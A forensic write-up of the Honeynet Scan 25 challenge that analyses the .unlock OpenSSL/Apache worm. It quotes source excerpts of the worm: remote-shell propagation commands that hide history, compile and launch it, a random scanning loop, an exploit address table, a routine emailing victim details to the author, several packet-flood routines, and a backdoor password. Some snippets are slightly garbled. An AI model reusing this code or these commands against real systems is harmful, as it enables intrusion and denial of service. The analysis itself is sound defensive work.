Preperation ============================================================================= I created a directory to put the downloaded file into for analysis. [root@localhost scan25]# pwd /usr/forensics/honeynet/scan25 [root@localhost scan25]# I downloaded the file from the honeynet website and retrieved the MACTimes of the file and then verified the md5checksum. [root@localhost scan25]# wget http://project.honeynet.org/scans/scan25/.unlock --07:45:07-- http://project.honeynet.org/scans/scan25/.unlock => `.unlock' Connecting to project.honeynet.org:80... connected! HTTP request sent, awaiting response... 200 OK Length: 17,973 [text/plain] 0K .......... ....... 100% @ 136.06 KB/s 07:45:08 (130.01 KB/s) - `.unlock' saved [17973/17973] [root@localhost scan25]# cd /usr/forensics/mac_daddy/ [root@localhost mac_daddy]# ./mac_daddy.pl /usr/forensics/honeynet/scan25/ [root@localhost mac_daddy]# Sep 22 2002 13:06:18 17973 ma. -rw-r--r-- root root /usr/forensics/honeynet/scan25/.unlock Nov 14 2002 07:45:08 17973 ..c -rw-r--r-- root root /usr/forensics/honeynet/scan25/.unlock [root@localhost mac_daddy]# /usr/bin/md5sum /usr/forensics/honeynet/scan25/.unlock a03b5be9264651ab30f2223592befb42 /usr/forensics/honeynet/scan25/.unlock [root@localhost mac_daddy]# Analysis ============================================================================= ================================================================ 1. Which is the type of the .unlock file? When was it generated? ================================================================ To find out the file type I ran /usr/bin/file on .unlock. [root@localhost scan25]# /usr/bin/file .unlock .unlock: gzip compressed data, deflated, last modified: Fri Sep 20 06:59:04 2002, os: Unix [root@localhost scan25]# Now we know that .unlock is a gzip formatted file. This does not mean that gzip was used to create the file though. Gzip is used to compress one file into a file with the same name, but with the "gz" extension (by default). This file does not have that extension and also the output from /usr/bin/file would be different if gzip were used. The output from /usr/bin/file would tell us the name of the file before compression. This information is part of the file itself and would not be changed by renaming the gzip formatted file. This file would have probably been created with /bin/tar using the zc options. Below is the information that is relevent from the tar manpage. TAR(1) TAR(1) NAME tar - The GNU version of the tar archiving utility . -c, --create create a new archive . . -z, --gzip, --ungzip filter the archive through gzip It was generated on Friday, September 20th, 2002 at 06:59:04. By looking at the MACTimes the file was created on September 22nd, 2002 at 13:06:18. There are very few instances when a file will have the same mtimes and atimes. One of them is when a file is created. The files ctime changed when I downloaded the file and I can't assume the ctime prior to the download. Based on the time difference of when the original .unlock file was created and this file was created it looks like this server was infected early in the stage of this particular worm. ======================================================================== 2. Based on the source code, who is the author of this worm? When it was created? Is it compatible with the date from question 1? ======================================================================== The author of .update.c is aion. [root@localhost scan25]# head -2 .update.c /* code by aion (aion@ukr.net) ****************************************************************************/ [root@localhost scan25]# According to the comments in .unlock.c aion only made some modifications to the source code which was written by contem@efnet. [root@localhost scan25]# head -5 .unlock.c /**************************************************************************** * * * Peer-to-peer UDP Distributed Denial of Service (PUD) * * by contem@efnet * * * [root@localhost scan25]# sed -n '/aion/p' .unlock.c | head -1 * some modification done by aion (aion@ukr.net) * [root@localhost scan25]# To get some timestamp information we will use mac_daddy.pl. [root@localhost mac_daddy]# ./mac_daddy.pl /usr/forensics/honeynet/scan25/ Sep 19 2002 17:57:48 2792 m.. -rw-r--r-- root wheel /usr/forensics/honeynet/scan25/.update.c Sep 20 2002 09:28:11 70981 m.. -rw-r--r-- root wheel /usr/forensics/honeynet/scan25/.unlock.c Sep 22 2002 13:06:18 17973 m.. -rw-r--r-- root root /usr/forensics/honeynet/scan25/.unlock Nov 14 2002 07:45:08 17973 ..c -rw-r--r-- root root /usr/forensics/honeynet/scan25/.unlock Nov 15 2002 09:05:10 17973 .a. -rw-r--r-- root root /usr/forensics/honeynet/scan25/.unlock 81920 m.. -rw-r--r-- root root /usr/forensics/honeynet/scan25/scan25 Nov 15 2002 09:05:18 81920 ..c -rw-r--r-- root root /usr/forensics/honeynet/scan25/scan25 Nov 15 2002 09:21:03 70981 .ac -rw-r--r-- root wheel /usr/forensics/honeynet/scan25/.unlock.c 2792 .ac -rw-r--r-- root wheel /usr/forensics/honeynet/scan25/.update.c 81920 .a. -rw-r--r-- root root /usr/forensics/honeynet/scan25/scan25 [root@localhost scan25]# From the above output we can see that .update.c was modified on September 19th, 2002 at 17:57:48 and .unlock.c was modified on September 20th, 2002 at 09:28:11. They both have the same atime and ctime, which is the time that they were untared. When looking at the file .unlock.c we can see the version is 20092002. This translates to September 20,2002. [root@localhost scan25]# egrep VERSION .unlock.c | head -1 #define VERSION 20092002 [root@localhost scan25]# This is the same date that the file .unlock.c was modified and the .unlock file was created. This is supported by the timestamp that we found in question one. ============================================================= 3. Which process name is used by the worm when it is running? ============================================================= The worm runs under the name httpd, which is normally associated with the http daemon (web server). This information can be seen in the source code of .unlock.c. [root@localhost scan25]# egrep PSNAME .unlock.c | head -1 #define PSNAME "httpd " [root@localhost scan25] The above information is a define preprocessor statement for the C programming language. It is substituting httpd for PSNAME. The name PSNAME most likely refers to the /bin/ps utility. This utility show process status information. The attacker wants his/her code to be named httpd so that when as admin runs /bin/ps on an infected server he/she will not see anything out of the ordinary. To get more information to support this we will also take a look at the source code of .unlock.c. From here we should be able to see what commands the program runs. [root@localhost scan25]# head -1435 .unlock.c | tail -26 // aion writem(sockfd,"export TERM=xterm;export HOME=/tmp;export HISTFILE=/dev/null;" "export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin;" "exec bash -i\n"); writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c " " /tmp/httpd /tmp/update /tmp/.unlock; \n"); writem(sockfd,"cat > /tmp/.unlock.uu << __eof__; \n"); zhdr(1); encode(sockfd); zhdr(0); writem(sockfd,"__eof__\n"); writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu; " "tar xzf /tmp/.unlock -C /tmp/; " "gcc -o /tmp/httpd /tmp/.unlock.c -lcrypto; " "gcc -o /tmp/update /tmp/.update.c;\n"); sprintf(rcv, "/tmp/httpd %s; /tmp/update; \n",localip); sleep(3);ockfd,rcv); writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c " " /tmp/httpd /tmp/update; exit; \n"); for (;;) { FD_ZERO(&rset); FD_SET(sockfd, &rset); select(sockfd+1, &rset, NULL, NULL, NULL); if (FD_ISSET(sockfd, &rset)) if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) return 0; } } [root@localhost scan25]# What the above code does is after the server gets exploited the attacking server will have a remote shell on the victim server. The attacking server will send the following commands to the victim server(each set of commands is septerated by a space): export TERM=xterm;export HOME=/tmp;export HISTFILE=/dev/null; export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin; exec bash -i\n rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c /tmp/httpd /tmp/update /tmp/.unlock; \n cat > /tmp/.unlock.uu << __eof__; \n __eof__\n uudecode -o /tmp/.unlock /tmp/.unlock.uu; tar xzf /tmp/.unlock -C /tmp/; gcc -o /tmp/httpd /tmp/.unlock.c -lcrypto; gcc -o /tmp/update /tmp/.update.c;\n sprintf(rcv, "/tmp/httpd %s; /tmp/update; \n",localip); rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c /tmp/httpd /tmp/update; exit; \n The first set of commands sets up the terminal, exports a new HOME directory (/tmp), and a new HISTFILE(/dev/null). By setting the HISTFILE to /dev/null anyone doing a forensic analysis of the victim server will not be able to see what commands were run very easily. The analyst would have to do a MACTime analysis of the entire system. The normal history file is .bash_history. The amount of commands that it contains depends on how the admin set it up. The code then sets the PATH and opens up an interactive bash shell. export TERM=xterm;export HOME=/tmp;export HISTFILE=/dev/null; export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin; exec bash -i\n The next set of commands forcefully (-f) and recursively (-r) removes the /tmp/.unlock.uu, /tmp/.unlock.c, /tmp/.update.c, /tmp/httpd, /tmp/update, and /tmp/.unlock files. This is so that the attacking code can get rid of any other trojan code that my already be there. rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c /tmp/httpd /tmp/update /tmp/.unlock; \n The next set of commands sends an __eof__ (End Of File) to /tmp/.unlock.uu. This command does not exit though. It waits for more input. cat > /tmp/.unlock.uu << __eof__; \n Before the next set of commands are run the attacking server sends some ASCII data to the victim server. This ASCII data is the uuencoded translation of the .unlock binary. This data is put into the /tmp/.unlock.uu file. The first time that the zhdr function is run it will set up the gzip header information. The encode function will translate one character at a time into a uuencoded format. The second time that the zhdr function is called it will all to the gzip header information. zhdr(1); encode(sockfd); zhdr(0); The header will look like: \x1f\x8b\x08\x00\x00\x00\x00\x00 after the zhdr fuction is run. The next command completes the above sequence by sending an __eof__ to the awaiting process. This will create the file. __eof__\n The next set of commands will translate the ASCII data file and create a binary. uudecode -o /tmp/.unlock /tmp/.unlock.uu; Then it will extract and uncompress the files into the /tmp directory. tar xzf /tmp/.unlock -C /tmp/; It will then use gcc to compile a binary called /tmp/httpd. The source code for this file will be/tmp/.unlock.c. It will be linked to the crypto object. gcc -o /tmp/httpd /tmp/.unlock.c -lcrypto; Then it will compile the binary /tmp/update using /tmp/update.c as the source code. gcc -o /tmp/update /tmp/.update.c;\n The attacking server will then start the httpd daemon and also start /tmp/update. sprintf(rcv, "/tmp/httpd %s; /tmp/update; \n",localip); Then it will forcefully (-f) and recursively (-r) remove /tmp/.unlock.uu, /tmp/.unlock.c, and /tmp/.update.c. After this it will exit the shell. /tmp/httpd /tmp/update; rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c /tmp/httpd /tmp/update; exit; \n The above process also shows the name of the worm that as it will show up on the infected system. ====================================================================================== 4. In which format the worm copies itself to the new infected machine? Which files are created in the whole process? After the worm executes itself, wich files remain on the infected machine? ====================================================================================== Since it is being transfered via a simple telnet like connection only ASCII characters will be supported. For this reason the binary file is translated via a uuencodeing function into a simple ASCII format and trasmitted as such. Once the file is on the victim system the file is then turned back into a binary file by using uudecode. The following files are created: /tmp/.unlock.uu #This file is the first file that is created. #It is a uuencoded text file of the .unlock binary. /tmp/.unlock #This file is created by uudecode. It is a binary #version of /tmp/.unlock.uu. /tmp/.unlock.c #This file is part of the .unlock gzip formatted file. #it will later server as a trojaned http daemon. /tmp/.update.c #This file is part of the .unlock gzip formatted file. #This file will be compiled into /tmp/.update. /tmp/httpd #This file is the compiled version of /tmp/.unlock.c #This is the trojanded http daemon. /tmp/update #This file is the compiled version of /tmp/.update.c. #This binary will server as a listener on the #victim system. After the infection of the server the worm removes all files from the victim server. Everything is running in memory at this point. When the victim server finds another server to exploit it will become the attacking server. Once it finds a vulnerable host it will create a file called /tmp/.unlock and put the gzip header information in it. This file will then be used by the encode function to create a uuencoded version of the gzip formatted binary. This file will be left on the attacking server. ===================================== 5. Which port is scanned by the worm? ===================================== It scans for port 80. This can be seen in the source code (.unlock.c). [root@localhost scan25]# head -67 .unlock.c | tail -1 #define SCANPORT 80 [root@localhost scan25]# [root@localhost scan25]# head -1938 .unlock.c | tail -32 #ifdef SCAN if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2) && p<100;n++) if (clients[n].sock == 0) { char srv[256]; if (d == 255) { if (c == 255) { a=classes[rand()%(sizeof classes)]; b=rand(); c=0; } else c++; d=0; } else d++; memset(srv,0,256); sprintf(srv,"%d.%d.%d.%d",a,b,c,d); clients[n].ext=time(NULL); atcp_sync_connect(&clients[n],srv,SCANPORT); p++; } for (n=CLIENTS;n<(CLIENTS*2);n++) if (clients[n].sock != 0) { p=atcp_sync_check(&clients[n]); if (p == ASUCCESS || p == ACONNECT || time(NULL)-((unsigned long)clients[n].ext) >= 5) atcp_clo; if (p == ASUCCESS) { char srv[256]; conv(srv,256,clients[n].in.sin_addr.s_addr); if (mfork() == 0) { exploit(srv); exit(0); } } } #endif [root@localhost scan25]# From the above piece of code we can see that during the scan phase of the attack the attacking server will scan for port 80. If it finds an Apache server open on port 80 then it will attept to exploit the server on port 443. ========================================================================== 6. Which vulnerability the worm tries to exploit? In which architectures? ========================================================================== The worm attempts to exploit Apache servers running OpenSSL versions 0.9.6d and earlier. The vulnerability (OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability) is caused by a buffer overflow in the SSLv2 handshake process. The attacking server attempts to do the exploit on 20 different architectures. This can be seen in the source code of .unlock.c. By first looking at the archs structure one would assume that there are 23 different architectures, but if you look closely you can see that there are three architectures (Red-Hat 1.3.12, SuSE 1.3.23, and Slackware 1.3.26) that can have two different values. [root@localhost scan25]# head -1269 .unlock.c | tail -29 struct archs { char *os; char *apache; int func_addr; } architectures[] = { {"Gentoo", "", 0x08086c34}, {"Debian", "1.3.26", 0x080863cc}, {"Red-Hat", "1.3.6", 0x080707ec}, {"Red-Hat", "1.3.9", 0x0808ccc4}, {"Red-Hat", "1.3.12", 0x0808f614}, {"Red-Hat", "1.3.12", 0x0809251c}, {"Red-Hat", "1.3.19", 0x0809af8c}, {"Red-Hat", "1.3.20", 0x080994d4}, {"Red-Hat", "1.3.26", 0x08161c14}, {"Red-Hat", "1.3.23", 0x0808528c}, {"Red-Hat", "1.3.22", 0x0808400c}, {"SuSE", "1.3.12", 0x0809f54c}, {"SuSE", "1.3.17", 0x08099984}, {"SuSE", "1.3.19", 0x08099ec8}, {"SuSE", "1.3.20", 0x08099da8}, {"SuSE", "1.3.23", 0x08086168}, {"SuSE", "1.3.23", 0x080861c8}, {"Mandrake", "1.3.14", 0x0809d6c4}, {"Mandrake", "1.3.19", 0x0809ea98}, {"Mandrake", "1.3.20", 0x0809e97c}, {"Mandrake", "1.3.23", 0x08086580}, {"Slackware", "1.3.26", 0x083d37fc}, {"Slackware", "1.3.26",0x080b2100} }; =========================================================================== 7. What kind of information is sent by the worm by email? To which account? =========================================================================== The email account that the information is sent to is aion@ukr.net. The victim server sends it's hostid, hostname, and IP address. This is seen in .unlock.c. [root@localhost scan25]# head -130 .unlock.c | tail -37 int mailme(char *sip) { char cmdbuf[256], buffer[128]; int pip; long inet; struct sockaddr_in sck; struct hostent *hp; if(!(pip=socket(PF_INET, SOCK_STREAM, 0))) return -1; if((inet=inet_addr(MAILSRV))==-1) { if(hp=gethostbyname(MAILSRV)) memcpy (&inet, hp->h_addr, 4); else return -1; } sck.sin_family = PF_INET; sck.sin_port = htons (25); sck.sin_addr.s_addr = inet; if(connect(pip, (struct sockaddr *) &sck, sizeof (sck))<0) return -1; gethostname(buffer,128); sprintf(cmdbuf,"helo test\r\n"); writem(pip, cmdbuf); recv(pip,cmdbuf,sizeof(cmdbuf),0); sprintf(cmdbuf,"mail from: test@microsoft.com\r\n"); writem(pip, cmdbuf); recv(pip,cmdbuf,sizeof(cmdbuf),0); sprintf(cmdbuf,"rcpt to: "MAILTO"\r\n"); writem(pip, cmdbuf); recv(pip,cmdbuf,sizeof(cmdbuf),0); sprintf(cmdbuf,"data\r\n"); writem(pip, cmdbuf); recv(pip,cmdbuf,sizeof(cmdbuf),0); sprintf(cmdbuf," hostid: %d \r\n" " hostname: %s \r\n" " att_from: %s \r\n",gethostid(),buffer,sip); writem(pip, cmdbuf); recv(pip,cmdbuf,sizeof(cmdbuf),0); sprintf(cmdbuf,"\r\n.\r\nquit\r\n"); writem(pip, cmdbuf); recv(pip,cmdbuf,sizeof(cmdbuf),0); return close(pip); } [root@localhost scan25]# ======================================================================== 8. Which port (and protocol) is used by the worm to communicate to other infected machines? ======================================================================== The servers commumicate over UDP port 4156. It will listen and respond to and properly formatted communications over this port. [root@localhost scan25]# head -66 .unlock.c | tail -1 #define PORT 4156 [root@localhost scan25]# From the above output of the source code (.unlock.c) we can see that 4156 is defined as PORT. This is a C programming language #define preprocessor. This allows the program to call PORT and get the value of 4156. It offers the convenience of only having to change the port information in once place and have it take effect thoughout the program. [root@localhost scan25]# head -1784 .unlock.c | tail -4 if (audp_listen(&udpserver,PORT) != 0) { printf("Error: %s\n",aerror(&udpserver)); return 0; } [root@localhost scan25]# The above output is part of the main function. We can see that this is where the infected server will attempting listen on UDP port 4156. It the server can't listen on that port it will print an error. [root@localhost scan25]# head -66 .unlock.c | tail -1 #define PORT 4156 [root@localhost scan25]# head -603 .unlock.c | tail -15 int audp_listen(struct ainst *inst,unsigned int port) { int flag=1; if (inst == NULL) return (AINSTANCE); inst->len=0; if ((inst->sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) { inst->error=ASOCKET; return (ASOCKET); } inst->in.sin_family = AF_INET; inst->in.sin_addr.s_addr = INADDR_ANY; inst->in.sin_port = htons(port); if (bind(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) < 0) { inst->error=ABIND; return (ABIND); } [root@localhost scan25]# ===================================================================== 9. Name 3 functionalities built in the worm to attack other networks. ===================================================================== There are four seperate DoS attacks that a host can carry out, UDP flood, TCP Syn flood, IPv6 TCP Syn flood and DNS query flood. From looking at the source code (.update.c) we can see that if the server recieves a command with a value 0x29 it will prepare for a UDP flood. [root@localhost scan25]# head -2245 .unlock.c | tail -41 case 0x29: { // Udp flood int flag=1,fd,i=0; char *str; struct sockaddr_in in; time_t start=time(NULL); struct udp_rec *rp=(struct udp_rec *)buf; if (udpserver.len < sizeof(struct udp_rec)) break; if (rp->size > 9216) { senderror(&udpclient,rp->h.id,"Size must be less than or equal to 9216\n"); break; } if (!isreal(rp->target)) { senderror(&udpclient,rp->h.id,"Cannot packet local networks\n"); break; } if (waitforqueues()) break; str=(char*)malloc(rp->size); if (str == NULL) break; for (i=0;isize;i++) str[i]=rand(); memset((void*)&in,0,sizeof(struct sockaddr_in)); in.sin_addr.s_addr=rp->target; in.sin_family=AF_INET; in.sin_port=htons(rp->port); while(1) { if (rp->port == 0) in.sin_port = rand(); if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0); else { flag = fcntl(fd, F_GETFL, 0); flag |= O_NONBLOCK; fcntl(fd, F_SETFL, flag); sendto(fd,str,rp->size,0,(struct sockaddr*)&in,sizeof(in)); close(fd); } if (i >= 50) { if (time(NULL) >= start+rp->secs) exit(0); i=0; } i++; } FREE(str); } exit(0); [root@localhost scan25]# If the server recieves a command with a value of 0x2A it will prepare for a TCP Syn flood. [root@localhost scan25]# head -2277 .unlock.c | tail -32 case 0x2A: { // Tcp flood int flag=1,fd,i=0; struct sockaddr_in in; time_t start=time(NULL); struct tcp_rec *rp=(struct tcp_rec *)buf; if (udpserver.len < sizeof(struct tcp_rec)) break; if (!isreal(rp->target)) { senderror(&udpclient,rp->h.id,"Cannot packet local networks\n"); break; } if (waitforqueues()) break; memset((void*)&in,0,sizeof(struct sockaddr_in)); in.sin_addr.s_addr=rp->target; in.sin_family=AF_INET; in.sin_port=htons(rp->port); while(1) { if (rp->port == 0) in.sin_port = rand(); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0); else { flag = fcntl(fd, F_GETFL, 0); flag |= O_NONBLOCK; fcntl(fd, F_SETFL, flag); connect(fd, (struct sockaddr *)&in, sizeof(in)); close(fd); } if (i >= 50) { if (time(NULL) >= start+rp->secs) exit(0); i=0; } i++; } } exit(0); [root@localhost scan25]# If the server recieves a command with a value of 0x2B it will prepare for an IPv6 TCP Syn flood. [root@localhost scan25]# head -2306 .unlock.c | tail -28 case 0x2B: { // IPv6 Tcp flood int flag=1,fd,i=0,j=0; struct sockaddr_in6 in; time_t start=time(NULL); struct tcp6_rec *rp=(struct tcp6_rec *)buf; if (udpserver.len < sizeof(struct tcp6_rec)) break; if (waitforqueues()) break; memset((void*)&in,0,sizeof(struct sockaddr_in6)); for (i=0;i<4;i++) for (j=0;j<4;j++) ((char*)&in.sin6_addr.s6_addr[i])[j]=((char*)&rp->target[i])[j]; in.sin6_family=AF_INET6; in.sin6_port=htons(rp->port); while(1) { if (rp->port == 0) in.sin6_port = rand(); if ((fd = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP)) < 0); else { flag = fcntl(fd, F_GETFL, 0); flag |= O_NONBLOCK; fcntl(fd, F_SETFL, flag); connect(fd, (struct sockaddr *)&in, sizeof(in)); close(fd); } if (i >= 50) { if (time(NULL) >= start+rp->secs) exit(0); i=0; } i++; } } exit(0); [root@localhost scan25]# If the server recieves a command with a value of 0x2C it will prepare for a DNS flood. [root@localhost scan25]# head -2385 .unlock.c | tail -78 case 0x2C: { // Dns flood struct dns { unsigned short int id; unsigned char rd:1; unsigned char tc:1; unsigned char aa:1; unsigned char opcode:4; unsigned char qr:1; unsigned char rcode:4; unsigned char unused:2; unsigned char pr:1; unsigned char ra:1; unsigned short int que_num; unsigned short int rep_num; unsigned short int num_rr; unsigned short int num_rrsup; char buf[128]; } dnsp; unsigned long len=0,i=0,startm; int fd,flag; char *convo; struct sockaddr_in in; struct df_rec *rp=(struct df_rec *)buf; time_t start=time(NULL); if (udpserver.len < sizeof(struct df_rec)+rp->h.len || rp->h.len > 2999-sizeof(struct df_rec)) brea; if (!isreal(rp->target)) { senderror(&udpclient,rp->h.id,"Cannot packet local networks\n"); break; } if (waitforqueues()) break; memset((void*)&in,0,sizeof(struct sockaddr_in)); in.sin_addr.s_addr=rp->target; in.sin_family=AF_INET; in.sin_port=htons(53); dnsp.rd=1; dnsp.tc=0; dnsp.aa=0; dnsp.opcode=0; dnsp.qr=0; dnsp.rcode=0; dnsp.unused=0; dnsp.pr=0; dnsp.ra=0; dnsp.que_num=256; dnsp.rep_num=0; dnsp.num_rr=0; dnsp.num_rrsup=0; convo=buf+sizeof(struct df_rec); convo[rp->h.len]=0; _decrypt(convo,rp->h.len); for (i=0,startm=0;i<=rp->h.len;i++) if (convo[i] == '.' || convo[i] == 0) { convo[i]=0; sprintf(dnsp.buf+len,"%c%s",(unsigned char)(i-startm),convo+startm); len+=1+strlen(convo+startm); startm=i+1; } dnsp.buf[len++]=0; dnsp.buf[len++]=0; dnsp.buf[len++]=1; dnsp.buf[len++]=0; dnsp.buf[len++]=1; while(1) { dnsp.id=rand(); if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0); else { flag = fcntl(fd, F_GETFL, 0); flag |= O_NONBLOCK; fcntl(fd, F_SETFL, flag); sendto(fd,(char*)&dnsp,sizeof(struct dns)+len-128,0,(struct sockaddr*)&in,sizeof(in)); close(fd); } if (i >= 50) { if (time(NULL) >= start+rp->secs) exit(0); i=0; } i++; } } exit(0); [root@localhost scan25]# All commands that are supported are listed below. [root@localhost scan25]# egrep -e 'case.[0-9]' .unlock.c case 0x20: { // Info case 0x21: { // Open a bounce case 0x22: { // Close a bounce case 0x23: { // Send a message to a bounce case 0x24: { // Run a command case 0x25: { case 0x26: { // Route case 0x27: { case 0x28: { // List case 0x29: { // Udp flood case 0x2A: { // Tcp flood case 0x2B: { // IPv6 Tcp flood case 0x2C: { // Dns flood case 0x2D: { // Email scan case 0x70: { // Incomming client case 0x71: { // Receive the list case 0x72: { // Send the list case 0x73: { // Get my IP case 0x74: { // Transmit their IP case 0x41: // --| case 0x42: // | case 0x43: // | case 0x44: // |---> Relay to client case 0x45: // | case 0x46: // | case 0x47: { // --| [root@localhost scan25]# ========================================================================= 10. What is the purpose of the .update.c program? Which port does it use? ========================================================================= The .update.c is compiled to .update. This gives the attacker remote root access to the victim server via port 1052. The remote shell is password protected. The password is aion1981. If the attacker connects to the remote shell during it's uptime the victim will fork that process (shell) and the attacker will have a remote shell until he/she closes it. #define PORT 1052 #define PASS "aion1981" ======================================================================================= Bonus: What is the purpose of the SLEEPTIME and UPTIME values in the .update.c program? ======================================================================================= The SLEEPTIME is set to 300 seconds (5 minutes) and UPTIME is set to 10 seconds. #define SLEEPTIME 300 // sleep 5 min. #define UPTIME 10 // listen 10 sec. The SLEEPTIME is the parameter configures how long the .update will sleep. During that time there will not be any remote shell access to the victim system, unless the attacker already has a shell open. After the 5 minute period the shell will be open for 10 seconds. If the attacker can connect during this time he/she will have a remote root shell on the system. The shell proccess will be forked so that when the initial process (.update) goes into a sleep mode the attacker will continue to have a remote shell.